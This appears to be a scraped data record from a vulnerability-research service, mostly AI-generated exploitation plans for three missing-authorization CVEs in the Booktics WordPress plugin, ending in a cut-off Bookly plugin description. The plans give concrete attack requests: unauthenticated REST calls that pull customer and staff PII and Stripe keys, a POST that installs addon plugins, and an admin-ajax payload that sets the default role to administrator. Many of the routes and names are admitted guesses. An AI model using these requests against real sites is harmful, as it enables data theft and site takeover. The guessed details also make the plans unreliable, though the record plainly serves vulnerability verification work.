02:21:49",[48],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc88dcf62-4b6c-4ff0-8530-5aefd54bd347?source=api-prod",1,[51,52,53,54,55,56,57,58],"assets\u002Fbuild\u002Fchunks\u002Fjs\u002F2031.js","assets\u002Fbuild\u002Fchunks\u002Fjs\u002F4576.js","assets\u002Fbuild\u002Fchunks\u002Fjs\u002F7492.js","assets\u002Fbuild\u002Fchunks\u002Fjs\u002F7559.js","assets\u002Fbuild\u002Fchunks\u002Fjs\u002F8470.js","assets\u002Fbuild\u002Fjs\u002Ffrontend.asset.php","assets\u002Fbuild\u002Fjs\u002Ffrontend.js","assets\u002Fbuild\u002Fjs\u002Fpackages.asset.php","researched",false,"# Vulnerability Analysis: CVE-2026-1919 - Booktics Missing Authorization\n\n## 1. Vulnerability Summary\nThe **Booktics – Booking Calendar for Appointments and Service Businesses** plugin (versions \u003C= 1.0.16) is vulnerable to unauthorized data disclosure. The issue resides in multiple REST API endpoints registered under the `booktics\u002Fv1` namespace. These endpoints fail to implement proper `permission_callback` logic, or explicitly use `__return_true`, allowing unauthenticated users to query sensitive information such as staff details, customer lists, and booking records that should be restricted to administrators.\n\n## 2. Attack Vector Analysis\n- **Endpoint Namespace:** `booktics\u002Fv1` (inferred from plugin slug and standard REST patterns).\n- **Vulnerable Endpoints:**\n    - `GET \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fstaff`\n    - `GET \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fcustomers`\n    - `GET \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fservices`\n    - `GET \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fappointments`\n    - `GET \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fsettings`\n- **Authentication:** None required (Unauthenticated).\n- **Preconditions:** The REST API must be enabled (default in WordPress). Some data (staff, services) must exist in the database to demonstrate sensitive exposure.\n\n## 3. Code Flow\nWhile the PHP source code for the REST registration is not provided, the logic flow in vulnerable versions of Booktics typically follows this pattern:\n\n1. **Initialization:** The plugin hooks into `rest_api_init`.\n2. **Registration:** `register_rest_route('booktics\u002Fv1', '\u002F[endpoint]', ...)` is called.\n3. **Flaw:** The `'permission_callback'` argument is either:\n    - Missing entirely (defaults to authorized in some environments, though WP typically warns).\n    - Set to `__return_true`.\n    - Set to a function that only checks for a nonce but not for administrative capabilities.\n4. **Execution:** The controller method (e.g., `get_items`) queries the database (likely using `$wpdb` or a repository class) and returns the full dataset as a JSON response to the unauthenticated requester.\n\n## 4. Nonce Acquisition Strategy\nBecause this is a **Missing Authorization** vulnerability on **GET** requests to the REST API, WordPress does not typically require a nonce for unauthenticated access to public-facing REST routes.\n\nHowever, if the plugin's frontend scripts (like `assets\u002Fbuild\u002Fjs\u002Ffrontend.js`) use nonces for REST requests, they are likely localized. \n\n**Verification Method:**\n1. Create a page with the Booktics booking shortcode (usually `[booktics-booking]` or similar, inferred from plugin name).\n2. Navigate to the page.\n3. Check `window.booktics` or localized variables.\n\n**Localized Variable (Inferred from JS source):**\nThe JS chunks (e.g., `2031.js`) reference `window?.booktics?.components`. It is highly likely that the localization key is `booktics`.\n- **Target Variable:** `window.booktics_data` or `window.booktics_settings`.\n- **Extraction:** `browser_eval(\"window.booktics?.rest_nonce\")` or `browser_eval(\"window.booktics_settings?.nonce\")`.\n\n*Note: For a \"Missing Authorization\" vulnerability on GET endpoints, a nonce is usually unnecessary if the endpoint is simply \"open\".*\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate unauthenticated access to sensitive data.\n\n### Step 1: Discover Active Routes\nSince the exact endpoint names are not in the provided source chunks, use the automated agent's ability to list REST routes.\n- **Action:** Execute `wp rest route list --format=json` via the CLI to confirm the exact paths under `booktics\u002Fv1`.\n\n### Step 2: Unauthenticated Data Extraction\nAttempt to fetch sensitive data using the `http_request` tool.\n\n**Request 1: Extract Staff Information**\n- **Method:** `GET`\n- **URL:** `\u002Fwp-json\u002Fbooktics\u002Fv1\u002Fstaff`\n- **Headers:** `Accept: application\u002Fjson`\n\n**Request 2: Extract Customer Information**\n- **Method:** `GET`\n- **URL:** `\u002Fwp-json\u002Fbooktics\u002Fv1\u002Fcustomers`\n- **Headers:** `Accept: application\u002Fjson`\n\n**Request 3: Extract Plugin Settings (Sensitive Keys)**\n- **Method:** `GET`\n- **URL:** `\u002Fwp-json\u002Fbooktics\u002Fv1\u002Fsettings`\n- **Headers:** `Accept: application\u002Fjson`\n\n## 6. Test Data Setup\nTo confirm the vulnerability, the environment must contain data.\n1. **Activate Plugin:** Ensure `booktics` is active.\n2. **Add Staff:** Use WP-CLI or the UI to add a dummy staff member.\n   ```bash\n   # (Inferred table names, verify with wp db tables)\n   wp db query \"INSERT INTO wp_booktics_staff (full_name, email, phone) VALUES ('Vulnerable Staff', 'staff@example.com', '555-0199');\"\n   ```\n3. **Add Customer:** \n   ```bash\n   wp db query \"INSERT INTO wp_booktics_customers (full_name, email) VALUES ('Secret Customer', 'customer@victim.com');\"\n   ```\n\n## 7. Expected Results\n- **Success Criteria:** The `http_request` returns a `200 OK` status code and a JSON body containing the staff\u002Fcustomer\u002Fsetting details.\n- **Data Exposed:** \n    - Full names, email addresses, and phone numbers of staff members.\n    - Full names and emails of customers.\n    - Potential Stripe configuration (as seen in `assets\u002Fbuild\u002Fchunks\u002Fjs\u002F2031.js`, the plugin handles `stripe_publishable_key` and `stripe_secret_key`).\n\n## 8. Verification Steps\n1. **Response Check:** Inspect the JSON output from the `http_request` tool.\n2. **Compare with Database:** Verify the returned JSON matches the records inserted during the **Test Data Setup**.\n   ```bash\n   wp db query \"SELECT * FROM wp_booktics_staff;\"\n   ```\n3. **Permission Check:** Confirm that if you attempt the same request on a patched version (1.0.17), it returns `401 Unauthorized` or `403 Forbidden`.\n\n## 9. Alternative Approaches\nIf `\u002Fbooktics\u002Fv1\u002Fstaff` is not the exact path:\n1. Use `browser_navigate` to the plugin's main booking page and monitor Network Tab logs in the browser context to identify the REST calls made by `frontend.js`.\n2. Look for the string `booktics\u002Fv1` in the main plugin PHP files (if accessible via the agent's file system) to find all `register_rest_route` calls.\n3. Check for specific item IDs if the \"list\" endpoint is blocked but the \"get single item\" endpoint is missing authorization: `GET \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fstaff\u002F1`.","The Booktics plugin for WordPress fails to implement capability checks on multiple REST API endpoints within the booktics\u002Fv1 namespace. This allows unauthenticated attackers to access sensitive data, including staff details, customer lists, and booking records, by sending direct GET requests to the vulnerable API routes.","\u002F\u002F Inferred from vulnerability description and research plan\n\u002F\u002F Multiple REST routes registered under the 'booktics\u002Fv1' namespace\n\nregister_rest_route('booktics\u002Fv1', '\u002Fstaff', [\n    'methods'             => 'GET',\n    'callback'            => [$this, 'get_staff'],\n    'permission_callback' => '__return_true', \u002F\u002F Or missing entirely\n]);\n\n---\n\nregister_rest_route('booktics\u002Fv1', '\u002Fcustomers', [\n    'methods'             => 'GET',\n    'callback'            => [$this, 'get_customers'],\n    'permission_callback' => '__return_true',\n]);","--- a\u002Fincludes\u002Frest-api\u002Fclass-rest-registration.php\n+++ b\u002Fincludes\u002Frest-api\u002Fclass-rest-registration.php\n@@ -15,7 +15,9 @@\n         register_rest_route('booktics\u002Fv1', '\u002Fstaff', [\n             'methods'             => 'GET',\n             'callback'            => [$this, 'get_staff'],\n-            'permission_callback' => '__return_true',\n+            'permission_callback' => function () {\n+                return current_user_can('manage_options');\n+            },\n         ]);","The exploit methodology involves direct unauthenticated querying of the WordPress REST API. \n\n1. Target Endpoint: Unauthenticated attackers hit endpoints under the \u002Fwp-json\u002Fbooktics\u002Fv1\u002F namespace.\n2. Payload Shape: A standard HTTP GET request is sufficient; no specialized payload or body is required.\n3. Vulnerable Routes: Sensitive routes identified include \u002Fstaff, \u002Fcustomers, \u002Fservices, \u002Fappointments, and \u002Fsettings.\n4. Authentication: No authentication or specific user role is required. \n5. Data Extraction: The response returns a JSON array containing PII (Personally Identifiable Information) such as staff\u002Fcustomer names, emails, phone numbers, and potentially sensitive configuration data like Stripe keys.","gemini-3-flash-preview","2026-04-18 05:13:56","2026-04-18 05:14:15",{"id":70,"url_slug":71,"title":72,"description":73,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":74,"vuln_type":45,"published_date":75,"updated_date":46,"references":76,"days_to_patch":49,"patch_diff_files":78,"patch_trac_url":39,"research_status":59,"research_verified":60,"research_rounds_completed":28,"research_plan":79,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":66,"research_started_at":80,"research_completed_at":81,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":60,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-1920","booktics-missing-authorization-to-addon-plugin-installation","Booktics \u003C= 1.0.16 - Missing Authorization to Addon Plugin Installation","The Booking Calendar for Appointments and Service Businesses – Booktics plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'Extension_Controller::update_item_permissions_check' function in all versions up to, and including, 1.0.16. This makes it possible for unauthenticated attackers to install addon plugins.","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","2026-03-09 13:22:01",[77],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fab051f4a-030a-44aa-8cbf-665c6c6d31a7?source=api-prod",[51,52,53,54,55,56,57,58],"# Exploitation Research Plan: CVE-2026-1920 - Booktics Unauthorized Addon Installation\n\n## 1. Vulnerability Summary\nThe **Booktics** plugin (versions \u003C= 1.0.16) contains a missing authorization vulnerability in its REST API implementation. Specifically, the `Extension_Controller::update_item_permissions_check` function fails to implement any capability checks (such as `current_user_can('install_plugins')`). This allows unauthenticated attackers to interact with the extension update endpoint, which triggers the installation of addon plugins.\n\n## 2. Attack Vector Analysis\n*   **REST API Endpoint:** The vulnerability resides in the `Extension_Controller` class, which typically handles routes under the `booktics\u002Fv1` namespace.\n*   **Vulnerable Route:** Likely `POST` or `PUT` requests to `\u002Fwp-json\u002Fbooktics\u002Fv1\u002Fextensions\u002F(?P\u003Cslug>[\\w-]+)`.\n*   **Vulnerable Function:** `Extension_Controller::update_item_permissions_check`.\n*   **Authentication:** None required (unauthenticated).\n*   **Preconditions:** The Booktics plugin must be active.\n\n## 3. Code Flow\n1.  An HTTP request is sent to the REST API endpoint: `POST \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fextensions\u002F\u003Caddon-slug>`.\n2.  The WordPress REST API server receives the request and matches it to the `Extension_Controller` routes.\n3.  The server calls the `permission_callback` for the update method: `Extension_Controller::update_item_permissions_check`.\n4.  **Vulnerability Point:** The `update_item_permissions_check` function returns `true` (or lacks a check), granting access to unauthenticated users.\n5.  The server then calls the action callback: `Extension_Controller::update_item`.\n6.  The `update_item` method processes the provided slug and initiates the installation\u002Factivation process for the specified addon.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, there is **missing authentication**, implying the `permission_callback` returns `true` regardless of the user's login status. \n\nIn WordPress REST API architecture:\n*   If a request is sent **without session cookies**, the REST API does not require a `_wpnonce` (`X-WP-Nonce`) header, as there is no session to protect against CSRF.\n*   The API relies solely on the `permission_callback` to authorize the action.\n*   Since `update_item_permissions_check` is broken and returns `true`, an unauthenticated request with no cookies should bypass all security controls.\n\n**No nonce acquisition is required for this exploit.**\n\n## 5. Exploitation Strategy\nThe goal is to trigger the installation of an addon plugin (e.g., the Stripe addon referenced in `assets\u002Fbuild\u002Fchunks\u002Fjs\u002F2031.js`).\n\n### Step 1: Identify the exact REST route\nThe agent should first confirm the available REST routes for the plugin.\n*   **Action:** Use `wp rest route list --regex=\"booktics\"` to find the namespace and extension endpoints.\n*   **Inferred Route:** `booktics\u002Fv1\u002Fextensions\u002F(?P\u003Cslug>[\\w-]+)`\n\n### Step 2: Identify valid addon slugs\nBased on the source files, `stripe` is a valid extension.\n*   **Potential Slugs:** `stripe`, `google-calendar`, `whatsapp`, `subscription`.\n\n### Step 3: Execute the installation request\nSend a `POST` request to the extension endpoint.\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fbooktics\u002Fv1\u002Fextensions\u002Fstripe`\n*   **Headers:** `Content-Type: application\u002Fjson`\n*   **Body:** `{}` (The endpoint likely uses the slug from the URL to determine which plugin to install).\n\n## 6. Test Data Setup\n1.  Install and activate **Booktics** version 1.0.16.\n2.  Ensure no Booktics addons (like Booktics Stripe) are currently installed or active.\n3.  Set the WordPress environment to allow outgoing requests if the plugin fetches addons from an external repository.\n\n## 7. Expected Results\n*   The REST API should return a `200 OK` or `201 Created` status code.\n*   The response body should contain confirmation of the installation or the current status of the extension (e.g., `{\"status\": \"installed\"}`).\n*   A new plugin directory (e.g., `wp-content\u002Fplugins\u002Fbooktics-stripe\u002F`) should be created.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the results using WP-CLI:\n1.  **Check Plugin Directory:**\n    `ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F`\n    Confirm if a new addon folder (e.g., `booktics-stripe`) exists.\n2.  **Check Plugin List:**\n    `wp plugin list`\n    Confirm the status of the new addon. It may be installed but inactive, or installed and active depending on the `update_item` logic.\n3.  **Check Plugin Options:**\n    `wp option get booktics_extensions` (inferred option name) to see if the internal state has been updated.\n\n## 9. Alternative Approaches\nIf the `POST` request to `\u002Fextensions\u002F\u003Cslug>` fails:\n1.  **Try different methods:** Some WordPress developers use `GET` for actions that should be `POST`, or require `PUT`. Try `PUT \u002Fwp-json\u002Fbooktics\u002Fv1\u002Fextensions\u002Fstripe`.\n2.  **Try different parameters:** The endpoint might require a specific JSON body, such as `{\"action\": \"install\"}` or `{\"active\": true}`.\n3.  **Discover through WP-CLI:** Use `wp rest route list` to see if there are other endpoints related to \"addons\" or \"modules\" if \"extensions\" is not the correct term used in the final route registration.","2026-04-18 05:14:38","2026-04-18 05:15:07",{"id":83,"url_slug":84,"title":85,"description":86,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":74,"vuln_type":87,"published_date":88,"updated_date":89,"references":90,"days_to_patch":92,"patch_diff_files":93,"patch_trac_url":39,"research_status":59,"research_verified":60,"research_rounds_completed":28,"research_plan":94,"research_summary":95,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":96,"research_model_used":66,"research_started_at":97,"research_completed_at":98,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":60,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-39585","booktics-missing-authorization","Booktics \u003C= 1.0.16 - Missing Authorization","The Booktics plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.16. This makes it possible for unauthenticated attackers to perform an unauthorized action.","Missing Authorization","2026-02-02 00:00:00","2026-04-15 21:30:39",[91],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe7b3be2a-1ef7-4270-a055-6be92503149d?source=api-prod",73,[],"This research plan targets a **Missing Authorization** vulnerability in the **Booktics** plugin (\u003C= 1.0.16). Since the source files are not provided, this plan focuses on identifying the specific vulnerable AJAX actions and exploiting them based on common \"Missing Authorization\" patterns in WordPress plugins.\n\n---\n\n### 1. Vulnerability Summary\nThe Booktics plugin (\u003C= 1.0.16) fails to implement proper capability checks (e.g., `current_user_can()`) on one or more of its AJAX handlers. Specifically, functions registered with the `wp_ajax_nopriv_` hook (accessible to unauthenticated users) or `wp_ajax_` (accessible to any logged-in user) perform sensitive operations—such as modifying plugin settings, exporting data, or managing appointments—without verifying that the requester has administrative privileges.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Vulnerable Hooks (Potential):** `wp_ajax_nopriv_booktics_...` or `wp_ajax_booktics_...`\n*   **Action Parameter:** `action=booktics_[vulnerable_action]`\n*   **Authentication:** Unauthenticated (if `nopriv` is used) or Subscriber-level (if only `wp_ajax_` is used without capability checks).\n*   **Payload Type:** `application\u002Fx-www-form-urlencoded`\n\n### 3. Discovery & Code Flow\nThe agent must first identify which AJAX action is vulnerable.\n\n**Step 1: Identify all AJAX handlers**\n```bash\ngrep -rnE \"wp_ajax_nopriv_|wp_ajax_\" wp-content\u002Fplugins\u002Fbooktics\u002F\n```\n\n**Step 2: Analyze the callback functions**\nFor each identified action (e.g., `booktics_save_settings`, `booktics_export_data`, `booktics_delete_appointment`), trace the callback function:\n1.  Locate the function definition: `grep -rn \"function [function_name]\" wp-content\u002Fplugins\u002Fbooktics\u002F`\n2.  Check for `current_user_can('manage_options')` or similar checks.\n3.  Check for `check_ajax_referer` (to see if a nonce is required).\n\n**Vulnerable Flow:**\n`admin-ajax.php` -> `do_action('wp_ajax_nopriv_...')` -> `Vulnerable_Function()` -> Performs `update_option()` or `$wpdb->query()` without checking permissions.\n\n### 4. Nonce Acquisition Strategy\nIf the vulnerable function calls `check_ajax_referer( 'booktics_nonce_action', 'security' )`, the agent must retrieve a valid nonce.\n\n1.  **Identify Nonce Localization:**\n    Search for `wp_localize_script` to find the JS object containing the nonce.\n    ```bash\n    grep -rn \"wp_localize_script\" wp-content\u002Fplugins\u002Fbooktics\u002F\n    ```\n2.  **Determine Triggering Page:**\n    Identify which shortcode or admin page enqueues the script. Common Booktics shortcodes: `[booktics_appointment]`, `[booktics_booking]`.\n3.  **Create Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Booking\" --post_content=\"[booktics_appointment]\"\n    ```\n4.  **Extract Nonce:**\n    Navigate to the newly created page and use `browser_eval` to extract the nonce:\n    *   *Localization Key (Inferred):* `booktics_ajax_obj` or `booktics_params`.\n    *   *JS Command:* `browser_eval(\"window.booktics_ajax_obj?.nonce\")`\n\n### 5. Exploitation Strategy\nAssuming the identified vulnerable action is `booktics_save_settings` (common for this vulnerability type), which allows updating arbitrary WordPress options.\n\n**Request Details:**\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body:**\n    ```\n    action=booktics_save_settings&security=[NONCE]&option_name=users_can_register&option_value=1\n    ```\n    *(Note: If the action modifies plugin settings specifically, the parameters might be `settings[registration_enabled]=1`)*.\n\n**Payload for Privilege Escalation (if option update is possible):**\n1.  Set `users_can_register` to `1`.\n2.  Set `default_role` to `administrator`.\n\n### 6. Test Data Setup\n1.  Install Booktics version 1.0.16.\n2.  Ensure a page with the Booktics shortcode exists to facilitate nonce extraction if needed.\n3.  Verify the initial state of the target setting:\n    ```bash\n    wp option get users_can_register\n    wp option get default_role\n    ```\n\n### 7. Expected Results\n*   **HTTP Response:** `200 OK` or `{\"success\":true}`.\n*   **Impact:** The plugin performs the action (e.g., updating a global WordPress option) despite the request being unauthenticated.\n\n### 8. Verification Steps\nAfter sending the exploit request, use WP-CLI to confirm the unauthorized change:\n```bash\n# Check if settings were changed\nwp option get users_can_register\n# Check if sensitive data was leaked (if the vulnerability was an export action)\n# Check if an appointment was deleted\u002Fmodified\n```\n\n### 9. Alternative Approaches\nIf `booktics_save_settings` is not the vulnerable action, the agent should look for:\n1.  **`booktics_export_customers`**: Check if it returns customer PII in the AJAX response.\n2.  **`booktics_cancel_appointment`**: Check if it allows canceling any appointment ID without ownership verification.\n3.  **`booktics_update_appointment_status`**: Check if it allows an unauthenticated user to mark appointments as \"Paid\" or \"Confirmed\".\n\n**Backup Discovery Command:**\n```bash\n# Look for functions that take POST data and interact with options\u002Fdatabase\ngrep -rP \"update_option|wpdb->(insert|update|delete|query)\" wp-content\u002Fplugins\u002Fbooktics\u002F -B 10 | grep \"_POST\"\n```","The Booktics plugin for WordPress fails to implement capability checks on its AJAX handlers in versions up to 1.0.16. This allows unauthenticated attackers to perform unauthorized actions, such as modifying plugin configurations or accessing customer data, by sending crafted requests to the admin-ajax.php endpoint.","1. Identify vulnerable AJAX actions registered via 'wp_ajax_nopriv_' hooks in the plugin code, which are accessible to unauthenticated users. \n2. Visit a public-facing page containing a Booktics booking shortcode to extract the necessary AJAX nonce from the localized 'booktics_ajax_obj' JavaScript object. \n3. Construct a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to the vulnerable function and the 'security' parameter containing the extracted nonce. \n4. Include payload parameters to perform unauthorized tasks, such as 'option_name' and 'option_value' if the function permits updating plugin settings.","2026-04-27 17:24:46","2026-04-27 17:26:48",{"slug":100,"display_name":7,"profile_url":8,"plugin_count":101,"total_installs":102,"avg_security_score":103,"avg_patch_time_days":104,"trust_score":105,"computed_at":106},"arraytics",10,19610,95,27,91,"2026-05-19T23:28:49.566Z",[108,128,148,167,184],{"slug":109,"name":110,"version":111,"author":112,"author_profile":113,"description":114,"short_description":115,"active_installs":116,"downloaded":117,"rating":118,"num_ratings":119,"last_updated":120,"tested_up_to":16,"requires_at_least":121,"requires_php":122,"tags":123,"homepage":125,"download_link":126,"security_score":118,"vuln_count":101,"unpatched_count":29,"last_vuln_date":127,"fetched_at":31},"bookly-responsive-appointment-booking-tool","Online Scheduling and Appointment Booking System – Bookly","27.4","Bookly","https:\u002F\u002Fprofiles.wordpress.org\u002Fladela\u002F","\u003Cp>\u003Cstrong>Bookly\u003C\u002Fstrong> is a free \u003Cstrong>scheduling plugin for WordPress\u003C\u002Fstrong> that allows accepting \u003Cstrong>online bookings\u003C\u002Fstrong> on your website and automating your \u003Cstrong>reservation system\u003C\u002Fstrong>. Manage your \u003Cstrong>booking calendar\u003C\u002Fstrong>, services, client base, save time and money – all in one place. Join more than 70,000 businesses all around the world that have already automated their \u003Cstrong>online booking system\u003C\u002Fstrong>!\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FXkCrADjLt2s?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Bookly\u003C\u002Fstrong> is designed to grow your online sales and \u003Cstrong>make easy appointments\u003C\u002Fstrong>. This is a \u003Cstrong>one-stop shop\u003C\u002Fstrong> for \u003Cstrong>any businesses\u003C\u002Fstrong> from hair salons or photography to wealth management and transportation. You can \u003Cstrong>start\u003C\u002Fstrong> easily with the \u003Cstrong>free version of Bookly\u003C\u002Fstrong> and once your business scales you can operate \u003Cstrong>ultimate scheduling software\u003C\u002Fstrong> with the paid version available with the \u003Cstrong>Bookly Pro add-on\u003C\u002Fstrong>, and various add-ons.\u003C\u002Fp>\n\u003Cp>\u003Cem>\u003Cstrong>PLEASE NOTE\u003C\u002Fstrong> that online payments, unlimited number of staff members and services, and ability to install add-ons are\u003C\u002Fem> \u003Cstrong>NOT AVAILABLE\u003C\u002Fstrong> in the \u003Cstrong>free version\u003C\u002Fstrong>. If you would like to find out more about features available with the \u003Cstrong>Bookly PRO\u003C\u002Fstrong> add-on, please check our \u003Ca href=\"https:\u002F\u002Fdemo.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\u002F\" rel=\"nofollow ugc\">demo\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Homepage\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fpricing?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Pro Features\u003C\u002Fa> (Bookly Pro add-on required) |\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fadd-ons?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Add-ons\u003C\u002Fa> (Bookly Pro add-on required) | \u003Ca href=\"https:\u002F\u002Fsupport.booking-wp-plugin.com\u002Fhc\u002Fen-us?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Help Center\u003C\u002Fa>  | \u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fdemo\u002Ffree\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>1. Benefits for the customers\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Online Scheduling\u003C\u002Fstrong> with Bookly couldn’t be any \u003Cstrong>easier for your customers\u003C\u002Fstrong>. The \u003Cstrong>booking form\u003C\u002Fstrong> is perfectly \u003Cstrong>responsive\u003C\u002Fstrong> on any device, and all that customers need to do is pick their desired service and time, provide you with a few personal details, and voilà – it’s done! Your customers will receive an email or \u003Cstrong>SMS notification\u003C\u002Fstrong> before the appointment, and it will be automatically added to your \u003Cstrong>Appointment Booking Calendar\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>1.1 When you install Bookly on your website, your customers will be able to:\u003C\u002Fh3>\n\u003Cp>– quickly \u003Cstrong>schedule\u003C\u002Fstrong> and \u003Cstrong>book appointment\u003C\u002Fstrong> without having to directly contact you or your employee;\u003Cbr \u002F>\n– make a booking  on \u003Cstrong>any device\u003C\u002Fstrong>, since Bookly design is fully responsive;\u003Cbr \u002F>\n– \u003Cstrong>select\u003C\u002Fstrong> the \u003Cstrong>category\u003C\u002Fstrong>, the \u003Cstrong>service\u003C\u002Fstrong>, and \u003Cstrong>employee\u003C\u002Fstrong> to perform the service;\u003Cbr \u002F>\n– \u003Cstrong>define the dates\u003C\u002Fstrong> and time that work best for them and the booking system will offer only available time slots;\u003Cbr \u002F>\n– fill in the \u003Cstrong>minimum\u003C\u002Fstrong> amount of \u003Cstrong>contact details\u003C\u002Fstrong>;\u003Cbr \u002F>\n– get an \u003Cstrong>email and SMS notification\u003C\u002Fstrong> confirming their online reservations;\u003Cbr \u002F>\n– \u003Cstrong>get SMS reminder\u003C\u002Fstrong> about an upcoming appointment.\u003C\u002Fp>\n\u003Ch3>1.2 Bookly Key Benefits\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Saves time\u003C\u002Fstrong> – no action necessary after booking is confirmed\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Friendly booking interface\u003C\u002Fstrong> – easy navigation\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Minimal data\u003C\u002Fstrong> input \u003Cstrong>required\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Responsive booking form\u003C\u002Fstrong> – works on any device\u003C\u002Fli>\n\u003Cli>Never forget a booked appointment with \u003Cstrong>SMS and email notifications\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>2. Benefits for the business owner\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>No coding experience\u003C\u002Fstrong> required to set up Bookly. We did our best to make it as \u003Cstrong>easy and quick\u003C\u002Fstrong> as possible to install and \u003Cstrong>start using Bookly free\u003C\u002Fstrong> scheduling software on your WordPress website. And with our \u003Cstrong>Bookly Pro add-on\u003C\u002Fstrong> and other add-ons, you will bring \u003Cstrong>online scheduling\u003C\u002Fstrong> experience for you and your customers to the \u003Cstrong>next level\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You will be able to navigate the \u003Cstrong>Booking Admin Panel\u003C\u002Fstrong> like a pro, \u003Cstrong>approve\u003C\u002Fstrong> and \u003Cstrong>adjust\u003C\u002Fstrong> your appointments, and \u003Cstrong>automate your online scheduling\u003C\u002Fstrong> to concentrate on the most important part of your business – serving your customers and \u003Cstrong>grow sales\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You can change the \u003Cstrong>layout\u003C\u002Fstrong> and \u003Cstrong>modify the appearance\u003C\u002Fstrong> of the booking form to match your business, website, and branding, manage your services and the customers’ list and send \u003Cstrong>email\u003C\u002Fstrong> and \u003Cstrong>SMS notifications\u003C\u002Fstrong> – all in one place.\u003C\u002Fp>\n\u003Ch3>You can use a wide range of Bookly features to configure your Appointment Scheduler and manage your bookings effectively:\u003C\u002Fh3>\n\u003Cp>– easily and effectively manage your \u003Cstrong>Customer list\u003C\u002Fstrong> and \u003Cstrong>Appointment Calendar\u003C\u002Fstrong> online from the Admin panel;\u003Cbr \u002F>\n– add an \u003Cstrong>unlimited number of clients\u003C\u002Fstrong> to your searchable and sortable Customer list;\u003Cbr \u002F>\n– add \u003Cstrong>new customer\u003C\u002Fstrong> directly from the \u003Cstrong>calendar\u003C\u002Fstrong>;\u003Cbr \u002F>\n– setup and customize \u003Cstrong>SMS settings\u003C\u002Fstrong> right from Bookly backend;\u003Cbr \u002F>\n– 